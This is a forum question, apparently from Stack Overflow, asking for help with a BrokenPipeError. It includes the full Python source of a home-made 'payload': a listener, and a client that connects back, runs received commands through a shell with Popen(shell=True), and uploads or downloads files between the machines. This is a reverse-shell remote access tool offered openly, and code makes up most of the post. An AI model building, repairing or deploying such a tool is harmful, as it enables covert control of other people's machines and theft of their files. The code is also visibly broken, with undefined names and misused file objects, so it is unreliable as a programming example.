title: Broken pipe Error on send() function
body: <p>I need to make a small payload and server to download/upload or execute commands in the host computer.</p>
  
  <p><strong>Error :</strong></p>
  
  <pre><code>Traceback (most recent call last):
    File "ServerCompletPAY.py", line 43, in &lt;module&gt;
      a.send(command)
  BrokenPipeError: [Errno 32] Broken pipe
  </code></pre>
  
  <p>When I execute the files for the first time it works correctly, however when I type another command, then error is generated.</p>
  
  <p><strong>Server Code :</strong></p>
  
  <pre><code>import os
  import socket
  
  global opening_file
  global name_file
  global a
  s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  s.bind(("0.0.0.0",1111))
  s.listen(5)
  a,c = s.accept()
  print ("[*] We Are Connected ")
  
  def shell() :
      verbose = a.recv(102400)
      print (verbose.decode(),"\n","\n")
  
  def download_from_client ():
      opening_file = open(name_file,"wb")
      opening_file.write(a.recv(102400))
      x.close()
      opening_file.close()    
  
  def download_to_client ():
      opening_file = open(name_file,"rb")
      file_needed = opening_file.read()
      a.send(file_needed)
      a.close()
      opening_file.close()
  
  def main():
      if first_word == "download":
          download_to_client ()
      elif first_word == "upload" :
          download_from_client()
      else :
          shell()
  
  while True : 
      command = input("&lt;Shell &gt;")
      name_file = command.split("/")[-1]
      first_word = command.split(" ")[0]
      command = command.encode()
      a.send(command)
      main()
  </code></pre>
  
  <hr>
  
  <p><strong>Client Code :</strong></p>
  
  <pre><code>from subprocess import *
  import os
  import socket
  
  def shell() :
      commandexe = Popen(commandrecv.encode(),stdout=PIPE,shell=True)
      comment = commandexe.communicate()[0]
      s.send(comment)
  
  def download() :    
      file_name = commentrecv.split("/")[-1]
      opening_file = open(file_name,"rb")
      s.send(opening_file.read())
      opening_file.close()
  
  def upload():
      file_name = commentrecv.split("/")[-1]
      opening_file = open(file_name,"wb")
      file_name.write(s.recv(102400).decode())
      file_name.close()
  
  while True :
      global s
      global commandrecv
  
      s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      s.connect(("127.0.0.1",1111))
      commandrecv_encoded = s.recv(1024)
      commandrecv = commandrecv_encoded.decode()
      first_word = commandrecv.split(" ")[0] #to know if i need to upload or download
  
      if not commandrecv :
          break;
      else:
          if first_word == "download":
              download ()
          elif first_word == "upload" :
              upload()
          else :
              shell()
  </code></pre>
  
  <p>Thankyou in advance.</p>